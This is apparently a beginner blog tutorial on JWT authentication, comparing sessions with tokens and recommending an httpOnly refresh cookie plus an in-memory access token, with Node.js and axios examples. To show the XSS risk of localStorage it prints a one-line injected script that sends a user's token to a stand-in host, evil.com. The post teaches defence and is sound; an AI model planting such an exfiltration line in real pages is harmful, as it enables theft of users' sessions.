If you have ever built a login page, you have probably heard of JWT. People throw the word around like everyone knows what it means. This post explains it from zero, with examples you can read and follow, and ends with the safest way to store one in the browser.
No prior knowledge needed. Just basic web stuff: HTML, JavaScript, and the idea that a server sends responses to a browser.
The Problem We Had Before JWT
Imagine you build a website with a login form. The user types email and password, your server checks them, and the user is now logged in.
Here is the question: when that user clicks on a different page one second later, how does your server know it is still the same logged-in user?
HTTP is "stateless". Every request is brand new. The server has no memory of who you are. So we need a way to say "trust me, I logged in a moment ago".
The Old Way: Sessions
The classic answer is sessions. It works like this:
- User logs in with email and password.
- Server creates a random ID like
abc123xyzand saves it in a database, with a note: "this ID belongs to user 42". - Server sends that ID back to the browser as a cookie.
- Every future request, the browser sends the cookie automatically.
- Server reads the ID, looks it up in the database, and finds "oh, this is user 42".
This works fine, but it has a cost. Every single request hits the database just to check who the user is. If you have one server, fine. If you have ten servers behind a load balancer, they all need to share that session storage. It gets messy at scale.
Enter JWT
JWT stands for JSON Web Token. The idea is simple and clever:
What if the token itself contained the user info, and the server could trust it without looking anything up?
A JWT is a string that looks like this:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjQyLCJlbWFpbCI6ImFAYi5jb20ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Looks like garbage, but it has three parts separated by dots:
HEADER.PAYLOAD.SIGNATURE
If you base64-decode the first two parts, you get readable JSON.
Header says what algorithm was used:
{ "alg": "HS256", "typ": "JWT" }
Payload is the actual data (called "claims"):
{ "userId": 42, "email": "[email protected]", "exp": 1735689600 }
Signature is a cryptographic stamp. The server made it using a secret key only the server knows. If anyone changes the payload (like flipping userId to 1 to impersonate the admin), the signature will not match anymore, and the server will reject it.
So the magic is: the token carries the user info AND a tamper-proof seal. The server does not need a database lookup. It just verifies the signature with its secret key, and if it checks out, it trusts the payload.
Why JWT Was Invented
Three reasons:
- No database lookup on every request. Faster.
- Stateless servers. Any server in your cluster can verify the token without sharing storage.
- Works across services. A single JWT can be accepted by your main API, your image service, your billing service, all without sharing a session database.
A Quick Comparison
Without JWT (sessions):
Browser -> "Hi, here is my session ID abc123"
Server -> (queries database) "Yep, that is user 42"
Server -> sends response
With JWT:
Browser -> "Hi, here is my JWT"
Server -> (verifies signature with secret key, no database) "Yep, payload says user 42"
Server -> sends response
How JWT Works in Practice
Here is the typical flow:
Login request:
// Frontend
const res = await fetch('/api/login', {
method: 'POST',
body: JSON.stringify({ email, password }),
})
const { token } = await res.json()
// token is the JWT string
Server side (Node.js example):
import jwt from 'jsonwebtoken'
app.post('/api/login', async (req, res) => {
const user = await checkPassword(req.body.email, req.body.password)
if (!user) return res.status(401).send('Wrong password')
const token = jwt.sign(
{ userId: user.id, email: user.email },
process.env.JWT_SECRET,
{ expiresIn: '15m' }
)
res.json({ token })
})
Using the token on every future request:
const res = await fetch('/api/profile', {
headers: { Authorization: `Bearer ${token}` },
})
Server checks the token:
app.get('/api/profile', (req, res) => {
const token = req.headers.authorization?.split(' ')[1]
try {
const payload = jwt.verify(token, process.env.JWT_SECRET)
// payload.userId is now trusted
res.json({ userId: payload.userId })
} catch {
res.status(401).send('Invalid token')
}
})
That is the whole concept. Now the hard question: where do you keep that token in the browser?
The Storage Question
The browser is going to need that token on every request. So you have to put it somewhere. Your options are:
localStoragesessionStorage- A regular cookie
- An
httpOnlycookie - A JavaScript variable in memory
Most tutorials show option 1 because it is the easiest. Most tutorials are also wrong about this.
Why localStorage Is Dangerous
localStorage is just a key-value store that any JavaScript on the page can read.
// On login
localStorage.setItem('token', jwt)
// On every request
const token = localStorage.getItem('token')
Easy. So what is the problem?
The problem is XSS (cross-site scripting). If an attacker can sneak ANY JavaScript onto your page (through a comment field that you forgot to sanitize, a vulnerable npm package, a compromised analytics script), they can do this:
// Attacker's injected code
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))
And your user's token is gone. The attacker can now impersonate them until that token expires.
It does not matter how short you make the token. It does not matter how strong your password rules are. One XSS bug, one compromised dependency, and every logged-in user is exposed.
The Safer Pattern
The pattern most security people recommend has two parts:
1. Refresh token in an httpOnly cookie.
An httpOnly cookie is a cookie that JavaScript cannot read. The browser still sends it automatically with every request, but document.cookie will not show it, and fetch('evil.com?t=' + ...) cannot grab it.
The server sets it like this:
res.cookie('refreshToken', refreshToken, {
httpOnly: true, // JavaScript cannot read this cookie
secure: true, // only send over HTTPS
sameSite: 'strict' // do not send on cross-site requests (blocks CSRF)
})
This refresh token lives a long time (days or weeks). Its only job is to get new short-lived access tokens.
2. Access token in a regular JavaScript variable.
The access token is what you actually attach to API requests. It lives only in memory, in a normal variable, NOT in localStorage or any cookie.
let accessToken = null
export function setAccessToken(token) {
accessToken = token
}
export function getAccessToken() {
return accessToken
}
Yes, this means when the user reloads the page, the variable is wiped and the access token is gone. That is a feature, not a bug. It also means there is nothing for an XSS attack to steal long-term.
3. On page reload, refresh the access token.
When the page loads, you call a refresh endpoint. The browser automatically sends the httpOnly refresh cookie. The server reads it, verifies it, and gives you back a fresh access token.
// Runs on app startup
async function bootstrap() {
try {
const res = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // sends the httpOnly cookie
})
const { accessToken } = await res.json()
setAccessToken(accessToken)
} catch {
// Not logged in, redirect to login
}
}
Putting It All Together
Here is what a real login flow looks like with this pattern.
Login (server):
app.post('/api/login', async (req, res) => {
const user = await checkPassword(req.body.email, req.body.password)
if (!user) return res.status(401).send('Wrong password')
const accessToken = jwt.sign(
{ userId: user.id },
process.env.ACCESS_SECRET,
{ expiresIn: '15m' }
)
const refreshToken = jwt.sign(
{ userId: user.id },
process.env.REFRESH_SECRET,
{ expiresIn: '7d' }
)
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/api/auth',
})
res.json({ accessToken })
})
Refresh endpoint (server):
app.post('/api/auth/refresh', (req, res) => {
const token = req.cookies.refreshToken
if (!token) return res.status(401).send('No refresh token')
try {
const payload = jwt.verify(token, process.env.REFRESH_SECRET)
const accessToken = jwt.sign(
{ userId: payload.userId },
process.env.ACCESS_SECRET,
{ expiresIn: '15m' }
)
res.json({ accessToken })
} catch {
res.status(401).send('Invalid refresh token')
}
})
Frontend axios setup:
import axios from 'axios'
const api = axios.create({
baseURL: '/api',
withCredentials: true, // important: sends cookies
})
let accessToken = null
export function setAccessToken(token) {
accessToken = token
api.defaults.headers.common['Authorization'] = `Bearer ${token}`
}
// If a request fails with 401, try refreshing once
api.interceptors.response.use(null, async (error) => {
const original = error.config
if (error.response?.status === 401 && !original._retry) {
original._retry = true
try {
const { data } = await api.post('/auth/refresh')
setAccessToken(data.accessToken)
return api(original) // retry the original request
} catch {
window.location.href = '/login'
}
}
return Promise.reject(error)
})
export default api
Side by Side
| Where you put the token | Can XSS steal it? | CSRF risk? | Survives reload? |
|---|---|---|---|
localStorage |
Yes | No | Yes |
| Regular cookie | Yes (via document.cookie) |
Yes | Yes |
httpOnly cookie |
No | Yes (mitigated by SameSite) |
Yes |
| In-memory variable | No (no persistence to steal) | No | No (refresh handles this) |
The combination of httpOnly cookie for refresh + in-memory variable for access gives you the best of all worlds.
Common Questions
Q: Why two tokens? Is one not enough?
You could use one. But then you have to choose: short life means the user gets logged out constantly, long life means a stolen token works for weeks. Two tokens let you have a short-lived access token (limits damage if leaked) and a long-lived refresh token (kept somewhere JavaScript cannot touch).
Q: Can the server "log someone out" with JWT?
Not directly, because JWTs are stateless. The token is valid until it expires. This is why short access tokens matter. For the refresh token, the server CAN keep a list of revoked refresh tokens in a database. So real-world systems are usually a hybrid: stateless for the fast path, stateful for the rare logout.
Q: Is the JWT payload encrypted?
No. It is just base64-encoded, which means anyone can read it. Never put secrets in the payload. The signature only proves it was not changed, not that it is hidden.
Q: What about SameSite=Lax versus Strict?
Strict means the cookie is never sent on requests from another site. Safer, but it means if someone clicks a link to your site from Google, they will not appear logged in. Lax allows top-level navigation, which is usually fine. Pick Strict for sensitive apps, Lax for general use.
TL;DR
- JWT is a self-contained token that proves who you are without a database lookup. It works because the server signs it with a secret only the server knows.
- It was invented to make authentication faster, stateless, and easy to share between services.
- Storing JWTs in
localStorageis convenient but dangerous. One XSS bug and every token is stolen. - The safer pattern: keep a long-lived refresh token in an
httpOnlycookie, and a short-lived access token in a JavaScript variable. On page reload, hit a refresh endpoint to get a new access token. - Always set
Secure,httpOnly, andSameSiteon auth cookies.
That is the whole story. The pattern feels like more code at first, but it is the difference between "we got hacked" and "we did not".
United States
NORTH AMERICA
Related News
What Does "Building in Public" Actually Mean in 2026?
19h ago
The Agentic Headless Backend: What Vibe Coders Still Need After the UI Is Done
19h ago
Why I’m Still Learning to Code Even With AI
21h ago
I gave Claude a persistent memory for $0/month using Cloudflare
1d ago
NYT: 'Meta's Embrace of AI Is Making Its Employees Miserable'
1d ago